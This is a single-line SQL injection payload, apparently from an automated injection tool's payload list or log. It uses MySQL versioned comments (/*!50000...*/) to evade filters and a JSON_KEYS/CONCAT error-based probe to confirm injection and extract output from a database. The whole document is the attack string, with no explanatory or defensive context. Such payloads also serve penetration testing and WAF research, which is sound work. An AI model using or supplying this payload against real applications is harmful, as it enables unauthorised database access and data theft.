1) WHERE 5296=5296,(/*!50000SELECT*/8882/*!50000FROM*/(/*!50000SELECT*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(8882=8882,1))),%27~%27))/**/USING/**/utf8))))x)-- -